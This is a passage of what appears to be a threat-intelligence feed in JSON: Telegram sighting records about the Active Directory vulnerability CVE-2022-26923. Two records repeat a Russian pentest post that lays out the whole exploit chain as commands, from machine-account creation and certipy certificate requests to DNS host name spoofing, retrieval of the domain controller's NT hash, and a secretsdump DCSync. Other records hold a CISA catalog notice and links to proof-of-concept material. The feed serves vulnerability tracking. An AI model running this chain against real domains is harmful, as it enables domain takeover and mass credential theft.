'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/zhatez/927"}, {"timestamp": "2026-07-28T10:00:05.654Z", "date_only": false, "value": "2026-07-28T10:00:05.654282Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/EchelonEyes/593", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "0cd2a220-269f-4097-ab26-8aab878f1937", "content": "CISA \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0432 \u041a\u0430\u0442\u0430\u043b\u043e\u0433 7 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0437\u0430\u0449\u0438\u0442\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0421\u0428\u0410 (CISA) \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e 7 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u041a\u0430\u0442\u0430\u043b\u043e\u0433.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0440\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-22536 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 10), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u043d\u0435\u043c\u0435\u0446\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 SAP (\u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Web Dispatcher, Content Server, NetWeaver \u0438 ABAP Platform) \u0438 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u043c \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2022 \u0433\u043e\u0434\u0430. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 HTTP Request smuggling.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u043a, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 CISA, - \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u043d\u0430 \u0434\u043d\u044f\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0446\u0438\u0438 Apple (CVE-2022-32893 \u0438 CVE-2022-32894) \u0438 Google (CVE-2022-2856); \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 Microsoft (CVE-2022-21971 \u0438 CVE-2022-26923); \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 Palo Alto Networks PAN-OS (CVE-2017-15944, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0432 2017 \u0433\u043e\u0434\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.cisa.gov/uscert/ncas/current-activity/2022/08/18/cisa-adds-seven-known-exploited-vulnerabilities-catalog\n\n#CISA #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c", "url": "https://t.me/EchelonEyes/593", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-29T00:00:09.319Z", "date_only": false, "value": "2026-07-29T00:00:09.319651Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/zhatez/927", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "605f0acc-e1d7-4908-83ed-d342031d5c43", "content": "Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)\ud83d\uddbc\ufe0f\n\n\u041a\u0440\u0430\u0442\u043a\u043e \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e\u0431 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435.\n\u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f:\n1. \u0414\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c;\n2. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u0434\u043e\u043c\u0435\u043d;\n3. \u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 Machine;\n4. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0431\u0443\u0434\u0435\u0442 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0430).\n\n\ud83d\udc0d \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 Certipy, \u043a\u0440\u0430\u0442\u043a\u0430\u044f \u0441\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u043e \u043d\u0435\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0438\u0436\u0435:\n# \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\npip install certipy-ad\n\n# \u0417\u0430\u043f\u0440\u043e\u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n# \u0434\u043b\u044f certipy-ad v3.0.0:\ncertipy req 'domain.local/username:password@dc.domain.local' -ca 'CA NAME' -template TemplateName\n# \u0434\u043b\u044f certipy-ad v4.8.2:\ncertipy req -u username@domain.local -p password -ca 'CA NAME' -template User -upn thm@domain.local -dc-ip 10.10.10.10\n\n# \u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f \u0441 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f NTLM-\u0445\u044d\u0448\u0430:\ncertipy auth -pfx username.pfx -dc-ip 10.10.10.10\n\u041d\u0430\u0447\u043d\u0435\u043c \u0430\u0442\u0430\u043a\u0443 \u0441 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0432 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 Impacket-Addcomputer\naddcomputer.py 'domain.local/username:password' -method LDAPS -computer-name 'TESTPC' -computer-pass 'P@ssw0rd'\n\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0434\u043b\u044f \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 (\u0448\u0430\u0431\u043b\u043e\u043d Machine) \u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\ncertipy auth -pfx testpc.pfx\n\u0414\u0430\u043b\u0435\u0435 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0445\u043e\u0441\u0442 \u0434\u043e\u043c\u0435\u043d\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c SPN \u0443 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430:\nGet-ADComputer TESTPC -properties dnshostname,serviceprincipalname\nSet-ADComputer TESTPC -DnsHostName DC.domain.local # \u0432\u0435\u0440\u043d\u0451\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0437-\u0437\u0430 \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u044e\u0449\u0435\u0439\u0441\u044f SPN\nSet-ADComputer TESTPC -ServicePrincipalName @{} # \u043e\u0431\u043d\u0443\u043b\u044f\u0435\u043c SPN\nSet-ADComputer TESTPC -DnsHostName DC.domain.local\n\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043d\u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0445\u043e\u0441\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442:\ncertipy req 'domain.local/TESTPC$:P@ssw0rd@dc.domain.local' -ca 'CA NAME' -template Machine\n\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0443\u0435\u043c\u0441\u044f \u0441 \u043f\u043e\u043b\u0447\u0435\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c NTLM \u0445\u044d\u0448 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:\ncertipy auth -pfx dc.pfx\n...\n[*] Got NT hash for 'dc$@domain.local': 14fc9b5814def64289bb694f6659c733\n\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u043c \u0430\u0442\u0430\u043a\u0443 DCSync \u043b\u044e\u0431\u044b\u043c \u0443\u0434\u043e\u0431\u043d\u044b\u043c \u0434\u043b\u044f \u043d\u0430\u0441 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u043c\u0435\u043d:\nsecretsdump.py 'domain.local/dc$@domain.local' -hashes aad3b435b51404eeaad3b435b51404ee:14fc9b5814def64289bb694f6659c733 -outputfile dcsync.txt\n\u0412\u0435\u043a\u0442\u043e\u0440 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u043a CVE-2022-26923 \u0441\u0440\u0435\u0434\u0435 Active Directory, \u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u0432 \u043d\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c, \u0442\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0431\u0443\u0434\u0435\u0442 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e, \u043a\u0430\u043a, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 ZeroLogon!\ud83d\udd3a\n#\u043f\u0435\u043d\u0442\u0435\u0441\u0442 #AD", "url": "https://t.me/zhatez/927", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-29T12:01:02.654Z", "date_only": false, "value": "2026-07-29T12:01:02.654864Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/CVEhub/1459", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "b9df3b10-87eb-42d5-ab91-ad0f3e465877", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-26923\nGithub: https://github.com/lsecqt/CVE-2022-26923-Powershell-POC\nDescribe: \nActive Directory Domain Services Elevation of Privilege Vulnerability.", "url": "https://t.me/CVEhub/1459"}, {"timestamp": "2026-08-01T05:00:04.872Z", "date_only": false, "value": "2026-08-01T05:00:04.872326Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CVEhub/1459", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "062705c9-d95e-4df5-b85a-478cc1b23202", "content": "\ud83d\udc7eCVE SERVICE \ud83c\udff7#CVE\nMumber: CVE-2022-26923\nGithub: https://github.com/lsecqt/CVE-2022-26923-Powershell-POC\nDescribe: \nActive Directory Domain Services Elevation of Privilege Vulnerability.", "url": "https://t.me/CVEhub/1459", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-27T12:00:05.413Z", "date_only": false, "value": "2026-08-27T12:00:05.413498Z", "kind": "sighting", "label": "Seen", "source": "Telegram/AdllQbcuiJ6ibIVVpcDfORf6Hf8QOv6lHxvkWRicfYVDSCg", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "3d4c25e4-79b3-495d-a8a9-4b81d416482d"}, {"timestamp": "2026-08-28T00:00:45.654Z", "date_only": false, "value": "2026-08-28T00:00:45.654740Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/AdllQbcuiJ6ibIVVpcDfORf6Hf8QOv6lHxvkWRicfYVDSCg", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "bd963e70-4d3a-4f6e-b425-e7ac6c879ee8", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-01T17:00:29.474Z", "date_only": false, "value": "2026-09-01T17:00:29.474325Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/5810", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "bb4c4ce5-f703-4687-833b-b12d5b31015a", "content": "Blue Team Techniques\nEvicting the Adversary:\nGuidance to kick out an active attacker in your environment\nhttps://www.huntress.com/blog/evicting-the-adversary\n\nThreat Research\n1. BPFDoor - An Evasive Linux Backdoor Technical Analysis\nhttps://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis\n2. Active Directory Domain Privilege Escalation (CVE-2022-26923)\nhttps://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4", "url": "https://t.me/cissp/5810"}, {"timestamp": "2026-09-01T20:01:26.140Z", "date_only": false, "value": "2026-09-01T20:01:26.140544Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/65857", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "34db2ac3-668f-4aa4-91a1-f50826a31ef6", "content": "Livestream video for Developing POC for CVE-2022-26923\nhttps://www.reddit.com/r/redteamsec/comments/wr1np7/livestream_video_for_developing_poc_for/\n\nThanks to the participants, it was really fun even though a lot of mistakes were made haha. Full, uncut video is uploaded to my YouTube: https://youtu.be/z86tfhMU_vU    submitted by    /u/lsecqt  (https://www.reddit.com/user/lsecqt) \n [link] (https://www.reddit.com/r/redteamsec/comments/wr1np7/livestream_video_for_developing_poc_for/)   [comments] (https://www.reddit.com/r/redteamsec/comments/wr1np7/livestream_video_for_developing_poc_for/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/65857"}, {"timestamp": "2026-09-01T20:01:26.319Z", "date_only": false, "value": "2026-09-01T20:01:26.319463Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/65693", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "30f800d9-bbc4-41f2-b5f3-a4a36d8f78a7", "content": "I will Live create a POC for CVE-2022-26923\nhttps://www.reddit.com/r/redteamsec/comments/wpxtvx/i_will_live_create_a_poc_for_cve202226923/\n\nTomorrow (08.17, at 20:00 EEST) I will stream How I Develop a POC for CVE-2022-26923 on my Twitch: https://www.twitch.tv/lsecqt  \u200b Feel welcomed guys!    submitted by    /u/lsecqt  (https://www.reddit.com/user/lsecqt) \n [link] (https://www.reddit.com/r/redteamsec/comments/wpxtvx/i_will_live_create_a_poc_for_cve202226923/)   [comments] (https://www.reddit.com/r/redteamsec/comments/wpxtvx/i_will_live_create_a_poc_for_cve202226923/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/65693"}, {"timestamp": "2026-09-01T20:01:37.283Z", "date_only": false, "value": "2026-09-01T20:01:37.283727Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/55866", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "cdac5cb6-371b-440b-830d-833c925113d4", "content": "Exploiting CVE-2022-26923 by Abusing AD CS\nhttps://www.reddit.com/r/redteamsec/comments/v35a1b/exploiting_cve202226923_by_abusing_ad_cs/\n\nWe are doing 2 THM Labs. In the first one we are abusing vulnerable certificate templates manually with Certify and Rubeus, then changing the domain Administrator's password. In the second lab, we are utilizing Certipy POC to takeover DC machine and dump hashes for all users. Available on YouTube: https://youtu.be/HBRCI5O35R8 Hope you enjoy the video and learn something new. The channel is new and all feedback is appreciated.    submitted by    /u/lsecqt  (https://www.reddit.com/user/lsecqt) \n [link] (https://www.reddit.com/r/redteamsec/comments/v35a1b/exploiting_cve202226923_by_abusing_ad_cs/)   [comments] (https://www.reddit.com/r/redteamsec/comments/v35a1b/exploiting_cve202226923_by_abusing_ad_cs/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/55866"}, {"timestamp": "2026-09-05T11:00:03.533Z", "date_only": false, "value": "2026-09-05T11:00:03.533304Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/65857", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "696aac70-ccb1-4205-b6c7-bcedef2d9716", "content": "Livestream video for Developing POC for CVE-2022-26923\nhttps://www.reddit.com/r/redteamsec/comments/wr1np7/livestream_video_for_developing_poc_for/\n\nThanks to the participants, it was really fun even though a lot of mistakes were made haha. Full, uncut video is uploaded to my YouTube: https://youtu.be/z86tfhMU_vU    submitted by    /u/lsecqt  (https://www.reddit.com/user/lsecqt) \n [link] (https://www.reddit.com/r/redteamsec/comments/wr1np7/livestream_video_for_developing_poc_for/)   [comments] (https://www.reddit.com/r/redteamsec/comments/wr1np7/livestream_video_for_developing_poc_for/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/65857", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-05T12:00:05.996Z", "date_only": false, "value": "2026-09-05T12:00:05.996510Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/65693", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "8d2ab6bc-7483-40e7-bd3b-53739966da57", "content": "I will Live create a POC for CVE-2022-26923\nhttps://www.reddit.com/r/redteamsec/comments/wpxtvx/i_will_live_create_a_poc_for_cve202226923/\n\nTomorrow (08.17, at 20:00 EEST) I will stream How I Develop a POC for CVE-2022-26923 on my Twitch: https://www.twitch.tv/lsecqt  \u200b Feel welcomed guys!    submitted by    /u/lsecqt  (https://www.reddit.com/user/lsecqt) \n [link] (https://www.reddit.com/r/redteamsec/comments/wpxtvx/i_will_live_create_a_poc_for_cve202226923/)   [comments] (https://www.reddit.com/r/redteamsec/comments/wpxtvx/i_will_live_create_a_poc_for_cve202226923/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/65693", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-05T17:00:04.558Z", "date_only": false, "value": "2026-09-05T17:00:04.558700Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/55866", "record": "CVE-2022-26923", "field": "creation_timestamp", "uuid": "501bdc33-4094-4165-91b6-9f81ed25191c", "content": "Exploiting CVE-2022-26923 by Abusing AD CS\nhttps://www.reddit.com/r/redteamsec/comments/v35a1b/exploiting_cve202226923_by_abusing_ad_cs/\n\nWe are doing 2 THM Labs. In the first one we are abusing vulnerable certificate templates manually with Certify and Rubeus, then changing the domain Administrator's password. In the second lab, we are utilizing Certipy POC to takeover DC machine and dump hashes for all users. Available on YouTube: https://youtu.be/HBRCI5O35R8 Hope you enjoy the video and learn something new. The channel is new and all feedback is appreciated.    submitted by    /u/lsecqt  (https://www.reddit.com/user/lsecqt) \n [link] (https://www.reddit.com/r/redteamsec/comments/v35a1b/exploiting_cve202226923_by_abusing_ad_cs/)   [comments] (https://www.reddit.com/r/redteamsec/comments/v35a1b/exploiting_cve202226923_by_abusing_ad_cs/)\n\n___________________________ 